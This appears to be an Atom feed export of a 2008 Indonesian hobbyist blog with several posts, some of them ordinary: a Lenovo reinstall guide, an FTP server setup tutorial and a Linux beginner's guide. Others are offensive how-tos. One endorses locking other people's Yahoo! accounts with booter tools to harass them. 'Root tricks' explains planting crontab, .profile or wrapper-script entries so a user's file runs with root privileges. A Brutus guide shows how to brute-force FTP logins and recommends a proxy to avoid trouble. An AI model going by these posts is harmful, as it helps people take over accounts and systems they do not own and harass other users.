12 hour lock on your account.&lt;br /&gt;&lt;br /&gt;I consider Yahoo! Account &lt;span style="font-weight: bold;"&gt;lock&lt;/span&gt;ers lame but fun. Let's say some lamer is harassing you then when that person signs off &lt;span style="font-weight: bold;"&gt;lock his account&lt;/span&gt; and he can't sign on for twleve hours on messenger, but he can with email using the trick above. Still takes care of a lamer for 12 Hours. If you dont know how to program these kinds of programs look at sources on my site or booter sites or go to Planet-Source Code (Http://www.Pscode.com) and look for Yahoo! Modules and Api Calls. If your a good &lt;span style="font-weight: bold;"&gt;Visual basic&lt;/span&gt; Programmer like me you can easily make your own &lt;span style="font-weight: bold;"&gt;booter&lt;/span&gt; with the &lt;span style="font-weight: bold;"&gt;winsock and api calls&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-6879653658186648249?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/6879653658186648249/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/yahoo-account-lockers.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/6879653658186648249'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/6879653658186648249'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/yahoo-account-lockers.html' title='Yahoo! Account Lockers'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-8430243186814756194</id><published>2008-12-12T18:24:00.001+07:00</published><updated>2008-12-12T18:27:00.324+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>Install Ulang Komputer IBM Lennovo</title><content type='html'>1.Backup dulu data dari hardisk (bisa dengan cara partisi atau copy ke&lt;br /&gt; flash disk)&lt;br /&gt; 2.Komputer hidupkan, waktu Komputer masih melakukan booting tampilan dos&lt;br /&gt; klik tombol F11.&lt;br /&gt; 3.Akan muncul tulisan “Setup is inspecting your Komputer’s&lt;br /&gt; hardware configuration…”&lt;br /&gt; 4.Proses “Please Wait…” biarkan apa adanya.&lt;br /&gt; 5.Pada tampilan Lennovo Rescue and Recovery 3, biarkan Komputer berproses&lt;br /&gt; 6.Akan muncul tampilan “Welcome to Rescue and Recovery”, klik&lt;br /&gt; Continue pada pojok sebelah kanan bawah.&lt;br /&gt; 7.Untuk memulai format  dan install ulang tampilan “Rescue dan&lt;br /&gt; Recovery”, di kolom sebelah kiri ada “Rescue dan&lt;div class="fullpost"&gt;&lt;br /&gt;Restore”, yang terdiri dari “Recovery Overview”,&lt;br /&gt; “Rescue Files”, “Restore your system”,&lt;br /&gt; “Create migration File”.&lt;br /&gt; 8.Pilih “Restore your System”&lt;br /&gt; 9.Klik Ok bila muncul “If you want to access a USB device but it&lt;br /&gt; does not show in the destination or source list, dsb”.&lt;br /&gt; 10.Pada tampilan “Restore your System”  yang terdiri dari 6&lt;br /&gt; tahapan, Step pertama pilih “Restore my hard drive to the original&lt;br /&gt; factory state”,  klik Next.&lt;br /&gt; 11.Pada step 3 pilih “I don’t want to save any files”,&lt;br /&gt; klik Next.&lt;br /&gt; 12.Pada step 6 klik Next untuk melanjutkan proses installasi.&lt;br /&gt; 13.Tampilan “Product Recovery – Lennovo Best Software&lt;br /&gt; Selector”, klik Next.&lt;br /&gt; 14.Tampilan term conditions pilih “I accept these terms and&lt;br /&gt; conditions”, klik Next&lt;br /&gt; 15.Bila muncul “More than one partition was detected on your hard&lt;br /&gt; disk”. Pilih “Format the C:\ partition only”, klik Next.&lt;br /&gt; 16.Kemudian pilih “Full Factory recovery”, klik Next.&lt;br /&gt; 17.Klik Next.&lt;br /&gt; 18.Proses Installasi lagi berjalan, tunggu sampai selesai…&lt;br /&gt; 19.Pada tampilan Product Recovery, restart Komputer, Klik Yes.&lt;br /&gt; 20.Setelah Komputer direstart, aka nada tampilan windows “Preload&lt;br /&gt; System Setup” biarkan Komputer mengcostumize sendiri penginstallan&lt;br /&gt; aplikasi dan driver bawaannya IBM Lennovo.&lt;br /&gt; 21.Bila costumize selesai, Installasi telah selesai. Komputer bisa&lt;br /&gt; langsung digunakan dan jangan lupa Komputer yang telah diinstall&lt;br /&gt; diregister ke web Microsoft.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-8430243186814756194?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/8430243186814756194/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/1.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/8430243186814756194'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/8430243186814756194'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/1.html' title='Install Ulang Komputer IBM Lennovo'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-6964342950284195961</id><published>2008-12-10T23:55:00.001+07:00</published><updated>2008-12-10T23:55:58.357+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>Setting up a FTP server on your own computer</title><content type='html'>Setting up&lt;br /&gt;-------------&lt;br /&gt;1. Install the program as u would normally, then start the program.&lt;br /&gt;2. You'll see a menu at the top, and pictograms beneath it.&lt;br /&gt;3. First we have to make a new user account, goto the pictogram bar and click user accounts (the pictogram with 1 head on it).&lt;br /&gt;4. When u click on that a new menu pops up, goto the far right of that menu and you'l see "user accounts" right click in the white empty space,&lt;br /&gt;and select "add", and enter a new account name.&lt;br /&gt;5. Then when u returned to the main menu you'l see under setup some basic options which u can set.&lt;br /&gt;&lt;div class="fullpost"&gt;&lt;br /&gt;---Login---&lt;br /&gt;The login name you use to access you're ftp&lt;br /&gt;---Password---&lt;br /&gt;The password for the ftp server it generates a random 1 but u can change it for anything else&lt;br /&gt;---home IP---&lt;br /&gt;Select the IP of your computer.&lt;br /&gt;---group name---&lt;br /&gt;Best to leave that empty&lt;br /&gt;&lt;br /&gt;When u did all that goto access rights and right click in the white plane, select "Add" and select the map u wish to run ure FTP in.&lt;br /&gt;When done look at the right you will see some options you can check or uncheck, i'll explain themem.&lt;br /&gt;&lt;br /&gt;---read---&lt;br /&gt;A remote computer can download from your FTP server&lt;br /&gt;---write---&lt;br /&gt;A remote computer can upload files to your computer&lt;br /&gt;---Delete---&lt;br /&gt;A Remote computer can delete files from your computer, i suggest you don't use that&lt;br /&gt;---append---&lt;br /&gt;This option will alow resume downloading, if someone is uploading to you're computer and he gets disconnect or something he can always resume downloading from the point he left, the same applies for downloading.&lt;br /&gt;&lt;br /&gt;-----------&lt;br /&gt;Directories&lt;br /&gt;-----------&lt;br /&gt;&lt;br /&gt;---Make---&lt;br /&gt;A remote computer can make a new folder in ure server but only in the directory u run ure dtp server in.&lt;br /&gt;---list---&lt;br /&gt;This allows a remote computer to see the list of directories&lt;br /&gt;---Delete---&lt;br /&gt;This allows a remote computer to delete maps and directories i suggest u don't use this.&lt;br /&gt;---SubDirs---&lt;br /&gt;This will allow a remote computer to access sub directories in the ftp server.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ok now we have done that lets take a look at the left side of the menu.&lt;br /&gt;u'l see a row of pictograms&lt;br /&gt;-setup&lt;br /&gt;-Miscellanous&lt;br /&gt;-links &amp; messages&lt;br /&gt;-ratio, Quota , Bps&lt;br /&gt;-IP &amp; banned files&lt;br /&gt;-notes&lt;br /&gt;-status&lt;br /&gt;&lt;br /&gt;I'm gonna discuss everyone of them, since we already have handles setup i leave that out.&lt;br /&gt;&lt;br /&gt;----------&lt;br /&gt;Miscellanous&lt;br /&gt;----------&lt;br /&gt;---Enable account---&lt;br /&gt;should always be checked if not you cannot login using that account&lt;br /&gt;---Enable timeout---&lt;br /&gt;If the user of the account is been inactive for the secons u apply he will be disconnected.&lt;br /&gt;---User by-passes server max. user limit---&lt;br /&gt;if the maximal users on the server is reached this account can still login, if checked.&lt;br /&gt;---Max no of users---&lt;br /&gt;This is the maximum number of people that can login under the account.&lt;br /&gt;---Max no of conenctions per IP---&lt;br /&gt;The maximum times a user can connect through the same IP&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;------files------&lt;br /&gt;&lt;br /&gt;---Show relative path---&lt;br /&gt;If you are in a subdir it will make a map with "/" that returns u to the main dir&lt;br /&gt;---hide files/dirs with "hidden" attribute set---&lt;br /&gt;If a file is hidden it wont be shown on the server if checked.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-----commands-----&lt;br /&gt;&lt;br /&gt;---allow NOOP command---&lt;br /&gt;This command keeps connections alive nothing more u should keep it checked.&lt;br /&gt;---user can change his password---&lt;br /&gt;As it says a user can change his password whenever he wants too&lt;br /&gt;---user can chat with other users---&lt;br /&gt;A user can chat with other people on the ftp server through the command &lt;user&gt; &lt;message&gt;&lt;br /&gt;---user can know who is connected---&lt;br /&gt;The user can see who else is on the FTP server&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-------------&lt;br /&gt;Links &amp; messages&lt;br /&gt;-------------&lt;br /&gt;&lt;br /&gt;------virtual file system-------&lt;br /&gt;&lt;br /&gt;---Links to add to directories---&lt;br /&gt;This command add links to other directories displayed as maps.&lt;br /&gt;&lt;br /&gt;---Treat as Links---&lt;br /&gt;Redirects the people to the link directory&lt;br /&gt;&lt;br /&gt;---Treat as Virtual Directories---&lt;br /&gt;This leads to people to the target directory but it still looks like you are in the Home directory&lt;br /&gt;&lt;br /&gt;---Add links from this file---&lt;br /&gt;&lt;br /&gt;File's that contain links will be added in the main directory&lt;br /&gt;&lt;br /&gt;---Resolve windows shortcuts---&lt;br /&gt;&lt;br /&gt;When you do that the link will be shown as a a map with a shortcut arrow like on the Desktop&lt;br /&gt;&lt;br /&gt;---Auto-include link pointing to home directory---&lt;br /&gt;&lt;br /&gt;this will add a shortcut map so if ure in a other directory u can lick it and return to the home directory&lt;br /&gt;&lt;br /&gt;---Show login message---&lt;br /&gt;&lt;br /&gt;Shows a Welcome message after the user has logged into the FTP---&lt;br /&gt;&lt;br /&gt;---Show change dir message---&lt;br /&gt;&lt;br /&gt;Sends a message to the user when he changes to a  different directory&lt;br /&gt;&lt;br /&gt;-------------&lt;br /&gt;Ratio, Quota, Bps&lt;br /&gt;-------------&lt;br /&gt;&lt;br /&gt;-------Ratio------&lt;br /&gt;&lt;br /&gt;---Enable ratio---&lt;br /&gt;Speaks for itself check this box to enbale the ratio&lt;br /&gt;&lt;br /&gt;---upload/download---&lt;br /&gt;The amount of bytes a user may Download or upload during 1 session&lt;br /&gt;&lt;br /&gt;---credit---&lt;br /&gt;I do'n really understand what this does i think it works with a knid of point system&lt;br /&gt;&lt;br /&gt;---Count method---&lt;br /&gt;The method the server counts the bytes and credits for a session&lt;br /&gt;&lt;br /&gt;-------Disk Quota------&lt;br /&gt;&lt;br /&gt;---enable disk quota---&lt;br /&gt;Again it speaks for itself check the box to activate Disk quota&lt;br /&gt;&lt;br /&gt;---current---&lt;br /&gt;The actual disk zie occupation&lt;br /&gt;&lt;br /&gt;---max---&lt;br /&gt;Maximum disk space granted to a user&lt;br /&gt;&lt;br /&gt;------speed limit------&lt;br /&gt;&lt;br /&gt;---up/down---&lt;br /&gt;The amount of data a user can download or upload from your computer&lt;br /&gt;&lt;br /&gt;-------------&lt;br /&gt;IP &amp; Banned Files&lt;br /&gt;-------------&lt;br /&gt;&lt;br /&gt;---Banned Files---&lt;br /&gt;Put banned extensions in the list like *.jpg and so on&lt;br /&gt;&lt;br /&gt;---IP Access---&lt;br /&gt;Put Banned IP addresses here, u can also use it to only give authorized users access&lt;br /&gt;&lt;br /&gt;-------------&lt;br /&gt;Notes&lt;br /&gt;-------------&lt;br /&gt;Put ure personal notes in the box&lt;br /&gt;&lt;br /&gt;-------------&lt;br /&gt;Status&lt;br /&gt;-------------&lt;br /&gt;Status of all download uploaded files and so on are stored here.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-------------&lt;br /&gt;Conclusion&lt;br /&gt;-------------&lt;br /&gt;In this tutorial i showed you how to setup a FTP server on your own computer, and how to use its basic functions.&lt;br /&gt;If you stumble upon errors or mistakes or you have a problem with understanding the tutorial, you can mail me at the e-mail address i provided below.&lt;br /&gt;I hope you enjoyed reading this tutorial as much as i enjoyed writing it and i hope you had any use with it.&lt;br /&gt;&lt;br /&gt;-------------&lt;br /&gt;Disclaimer&lt;br /&gt;-------------&lt;br /&gt;I accept no responsibilities with any damage this tutorial may cause to your or anyone's computer, this tutorial&lt;br /&gt;is for educational purposes only.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-6964342950284195961?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/6964342950284195961/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/setting-up-ftp-server-on-your-own.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/6964342950284195961'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/6964342950284195961'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/setting-up-ftp-server-on-your-own.html' title='Setting up a FTP server on your own computer'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-6483046855982633624</id><published>2008-12-10T23:53:00.001+07:00</published><updated>2008-12-10T23:53:48.306+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tips and trick'/><title type='text'>Root tricks</title><content type='html'>Trick 1:&lt;br /&gt; Enter a line in the crontab for root, to execute a file in the home directory&lt;br /&gt; of the user you created. Then the file will be executed on the server with&lt;br /&gt; root privliges. And just imagination sets the limit for what you can do.&lt;br /&gt; Slackware also have /etc/cron.daily and then it is just to make a symbolic link.&lt;div class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Trick 2:&lt;br /&gt; In /root there is a file called .profile witch is executed whenever root logs in,&lt;br /&gt; you can enter a line to execute your file in there too. Then the file gets executed&lt;br /&gt; evertime root logs in.&lt;br /&gt; &lt;br /&gt;Trick 3:&lt;br /&gt; Look at the crontab settings for root, any "legal" programs there? If there is,&lt;br /&gt; change the name of that file in the crontab, then make a bash-script that will execute&lt;br /&gt; your file, and the one that is suposed to be run. This of course might make some&lt;br /&gt; trouble, but you will sort it out. :-)&lt;br /&gt; &lt;br /&gt;I think your getting the idea now, and can think of some solutions yourself. Get to work now,&lt;br /&gt;have fun.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-6483046855982633624?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/6483046855982633624/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/root-tricks.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/6483046855982633624'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/6483046855982633624'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/root-tricks.html' title='Root tricks'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-7540995998817306418</id><published>2008-12-10T23:43:00.002+07:00</published><updated>2008-12-10T23:51:48.503+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tips and trick'/><title type='text'>Recovering Your FTP   Password</title><content type='html'>Ok, I’m assuming you have downloaded and unzipped Brutus.&lt;br /&gt;&lt;br /&gt;Open Brutus.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_808o6jFhRb4/ST_yzIJ3I8I/AAAAAAAAADo/74dz_sYEdck/s1600-h/clip_image002.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 133px; height: 58px;" src="http://1.bp.blogspot.com/_808o6jFhRb4/ST_yzIJ3I8I/AAAAAAAAADo/74dz_sYEdck/s320/clip_image002.jpg" alt="" id="BLOGGER_PHOTO_ID_5278204248477606850" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There a couple of things we will need to change.&lt;br /&gt;&lt;br /&gt;- Change the Target field to your ftp server (In my case it is ftp.angelfire.com)&lt;br /&gt;&lt;br /&gt;- Change the type drop-down menu to FTP.&lt;div class="fullpost"&gt;&lt;br /&gt;- I would recommend using a proxy, but that’s up to you. If you don’t use one,                                                                                                                                                     you can get in a lot of trouble! Don’t say I didn’t warn you!&lt;br /&gt;&lt;br /&gt;- Under “Authentication options” tick “Single User”, then in the User ID box,  type your FTP username.&lt;br /&gt;- Go to pass mode in the “Authentication Options”, you can change this to either three things:&lt;br /&gt;&lt;br /&gt;1. Word List&lt;br /&gt;This goes through a list of words and tries every single one, if one of the words is your password, it will tell you when you start cracking.&lt;br /&gt;&lt;br /&gt;2. Combo List&lt;br /&gt;This is only good if you want to try a number of different usernames.&lt;br /&gt;&lt;br /&gt;3. Brute Force&lt;br /&gt;This can take a long time, but will almost defiantly find your password! (Assuming you define the settings right.)&lt;br /&gt;&lt;br /&gt;- For this tutorial, I am going to use Word List. “words.txt” should already be selected, but if you want to use a bigger word list, hit the “Browse” button.&lt;br /&gt;The settings you should be using if you’re getting your password from an Angelfire Account. (Don’t forget to change the username!):&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_808o6jFhRb4/ST_zYPouszI/AAAAAAAAADw/hsdlRtE_gdU/s1600-h/clip_image002.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 234px;" src="http://4.bp.blogspot.com/_808o6jFhRb4/ST_zYPouszI/AAAAAAAAADw/hsdlRtE_gdU/s320/clip_image002.jpg" alt="" id="BLOGGER_PHOTO_ID_5278204886141285170" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Ok, once all the settings are in, hit start!&lt;br /&gt;When/if its finds a password, it will make a Beep noise and show you the password in the “Positive Authentication Results” Box.&lt;br /&gt;&lt;br /&gt;Good luck!&lt;br /&gt;Hope you can find your password!&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-7540995998817306418?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/7540995998817306418/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/recovering-your-ftp-password.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/7540995998817306418'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/7540995998817306418'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/recovering-your-ftp-password.html' title='Recovering Your FTP   Password'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_808o6jFhRb4/ST_yzIJ3I8I/AAAAAAAAADo/74dz_sYEdck/s72-c/clip_image002.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-3650895167783467475</id><published>2008-12-10T23:42:00.001+07:00</published><updated>2008-12-10T23:42:59.743+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>Guide to Linux</title><content type='html'>1.0 - Intro&lt;br /&gt;&lt;br /&gt;Linux- sometimes referred to by the press as 'Windows NT's worst enemy'. &lt;br /&gt;Wired Magazine once called it 'The greatest story never told'.  This is a&lt;br /&gt;perfect definition because the story behind Linux is indeed a great one, yet&lt;br /&gt;it is unknown to so many people.  Let's start at the beginning.&lt;br /&gt;&lt;div class="fullpost"&gt;&lt;br /&gt;Back when 'Stayin' Alive' was still topping the charts, and Microsoft was&lt;br /&gt;a spec in the world of computers, AT&amp;T produced a multi-user operating&lt;br /&gt;system and labeled it 'UNIX'.  Throughout the years, UNIX caught on and&lt;br /&gt;many different versions of it began to come out.  A popular one, called&lt;br /&gt;'Minix' (mini-UNIX) was available for use at The University of Helsinki in&lt;br /&gt;Finland.  A student at the University named Linus Torvalds believed he&lt;br /&gt;could create an operating system superior to Minix.  In 1991 he started&lt;br /&gt;his new operating system as a side project, but it soon developed into a&lt;br /&gt;full-time hobby until 1994 when the first official version of the&lt;br /&gt;operating system was released.&lt;br /&gt;&lt;br /&gt;You're probably now saying 'so what's the big deal about Linux? Isn't it&lt;br /&gt;just another operating system?' Absolutely not!  First of all, Linux is&lt;br /&gt;released under something called 'open source license'.  Open source is really&lt;br /&gt;more of an idea than a thing.  Linux is released with all the source code and&lt;br /&gt;files that it was made with.  This means a few things.  Anyone who is good&lt;br /&gt;at programming can mess with the Linux code and release his own version of&lt;br /&gt;it.  This also means that even though if you buy Linux in a store it will&lt;br /&gt;cost money, you're not paying for the actual Linux itself. Your money goes to&lt;br /&gt;the price of packaging, the extra software that comes with the operating&lt;br /&gt;system, and technical support.  The second, and most important reason that&lt;br /&gt;Linux is a big deal is because it's a much more stable operating system than&lt;br /&gt;Windows.  It runs on any system; even bottom of the line 386's from before&lt;br /&gt;Linux even came out.  Programs running under Linux almost never crash, and in&lt;br /&gt;the off chance that one does because of bad programming by the program author,&lt;br /&gt;it will not take the operating system down with it.  Another important reason&lt;br /&gt;Linux is good is that it is secure.  It is much harder to bring down by a&lt;br /&gt;hacker than Windows is (for further reading, read the 'Basic Unix Security&lt;br /&gt;Guide' by R a v e N at blacksun.box.sk).  This is just an extremely short list&lt;br /&gt;of the reasons why Linux is so great. For further reading check out&lt;br /&gt;www.linux.org&lt;br /&gt;&lt;br /&gt;This tutorial is for Windows users who want to migrate to Linux.  This is&lt;br /&gt;written for Redhat or Mandrake Linux (the two most easy-to-install and&lt;br /&gt;user-friendly Linux distributions), but the information here will most probably&lt;br /&gt;help you with whatever distribution you are using. The only problem with this&lt;br /&gt;is that Mandrake and RedHat are relativley simple to install, and some other&lt;br /&gt;distrobutions are much more complex.  I highly suggest you buy Linux-Mandrake&lt;br /&gt;rather than RedHat.  Mainly because it is cheaper and comes with more&lt;br /&gt;software, but as you read through this tutorial, you'll see more reasons why I&lt;br /&gt;recommend Mandrake.&lt;br /&gt;&lt;br /&gt;The first thing you're going to have to do with your new operating system is&lt;br /&gt;install it- but you can't do that so quickly.&lt;br /&gt;&lt;br /&gt;2.0 - Preparation&lt;br /&gt;&lt;br /&gt;If you already have Microsoft Windows on your system and you want it to&lt;br /&gt;co-exist with Linux, you are going to have to create another hard drive&lt;br /&gt;partition.  What a hard drive partition is a totally separate part of a&lt;br /&gt;hard drive.  If two hard drive partitions weren't physically part of the&lt;br /&gt;same disc, they would be two different hard drives.  Anyway, the reason&lt;br /&gt;for this is that Windows and Linux are totally different in the way they&lt;br /&gt;access hard drives and handle files.  If they are using each other's hard&lt;br /&gt;drive space the two operating systems can conflict and cause major problems&lt;br /&gt;for your computer.  Well, as I was saying, you need to create a hard drive&lt;br /&gt;partition reserved for Linux.  There are MS-DOS programs that do this, but&lt;br /&gt;they are "lethal" partition making programs.  By this I mean that while making&lt;br /&gt;a new partition, they can destroy or at least corrupt files on another&lt;br /&gt;partition.  If you want to make a partition for Linux, without killing your&lt;br /&gt;Windows files you need a "non-lethal" partition program.  If you get&lt;br /&gt;Linux-Mandrake, a "non-lethal" partition program is included with it (this is&lt;br /&gt;just one of the reasons why I recommend Mandrake over RedHat).&lt;br /&gt;&lt;br /&gt;Well with all this talk of partitions and hard drives, you must be wondering&lt;br /&gt;roughly how much hard drive space you'll need for Linux.  If you want the&lt;br /&gt;complete system with everything, you'll need about 1.5 gigabyte+ hard drive&lt;br /&gt;space.  However it is possible to productively run a full Linux distribution&lt;br /&gt;(there are "miniature" Linux distributions that range from around 2 to 35&lt;br /&gt;megabytes, and there's also Trinux, which runs from two 1.44MB floppy disks!&lt;br /&gt;Get it from www.trinux.org) to with as little as 150 megabytes. Trust me, you&lt;br /&gt;don't want EVERYTHING. Linux comes with tons of software you'll probably won't&lt;br /&gt;need. For example: Linux comes with a variety of network servers - a web&lt;br /&gt;server, a Sendmail server, a telnet server, an FTP server etc'.  If you choose&lt;br /&gt;not to install something and then regret, you can still get it later off the&lt;br /&gt;original installation CD.&lt;br /&gt;&lt;br /&gt;So anyway, if you have sufficient hard drive space, and a "non-lethal"&lt;br /&gt;partition program, you're ready to proceed to the next step: installation.&lt;br /&gt;&lt;br /&gt;***Even if you're using a "non-lethal" partition program, I suggest you&lt;br /&gt;backup your Windows files just in case something goes wrong.***&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3.0 - Installation&lt;br /&gt;&lt;br /&gt;Now that your computer is ready for Linux, you're ready to install it.  &lt;br /&gt;When you bought the software, it probably came with a few CD's and a disk.&lt;br /&gt;&lt;br /&gt;The disk is boot disk for the Linux installation program.  You pop in the&lt;br /&gt;disk, reset your computer, the installation program begins, and you're&lt;br /&gt;ready to install Linux.  The only thing is that the installation program&lt;br /&gt;will take a while to load since it's from a disk.&lt;br /&gt;&lt;br /&gt;**The stuff on the disk is probably just a duplicate of some of the stuff&lt;br /&gt;on the first CD.  If your computer is capable of booting from a CD (and&lt;br /&gt;most newer ones are, otherwise, check your manual) then instead of putting&lt;br /&gt;the disk in your computer then rebooting, put in the first CD as it will&lt;br /&gt;load much quicker.  Of course, you'll need to mess with your BIOS&lt;br /&gt;configurations first, but that's no big deal.  Hit del when your computer&lt;br /&gt;boots up (after it tells you how much RAM you have) and mess around with it&lt;br /&gt;until you can find out how to make your computer attempt to boot from your CD&lt;br /&gt;drive first.  This differs from different BIOS systems.**&lt;br /&gt;&lt;br /&gt;3.1 - Ok..You're finally ready to install Linux.&lt;br /&gt;&lt;br /&gt;The first few questions the install program asks you are self explanatory,&lt;br /&gt;just things like your language and stuff.  One thing you might get stumped&lt;br /&gt;on is when you are prompted on whether you have any SCSI adapters or not.  &lt;br /&gt;An SCSI adapter can be anything such as a mouse, printer, scanner, etc.  It&lt;br /&gt;all depends if you have an SCSI controller.  Chances are, you don't have any&lt;br /&gt;SCSIs, but check your manual to be sure.   Also, if you are completely sure&lt;br /&gt;that your copy of Microsoft Windows is properly-configured, you can quit the&lt;br /&gt;installation program at any time, return to Windows, run control panel, click&lt;br /&gt;on system and find out all the information you'll need about your system's&lt;br /&gt;hardware.&lt;br /&gt;&lt;br /&gt;3.2 - More Partition Stuff&lt;br /&gt;&lt;br /&gt;The next thing you might have trouble with is a dialog box that appears&lt;br /&gt;asking you some questions about your hard drive partitions.  The name of&lt;br /&gt;the dialog box should 'Disk Setup'. There should be three buttons on the&lt;br /&gt;bottom of the box.  One labeled 'Disk Druid', another labeled 'fdisk', and&lt;br /&gt;the last is the back button.  Since you already set up 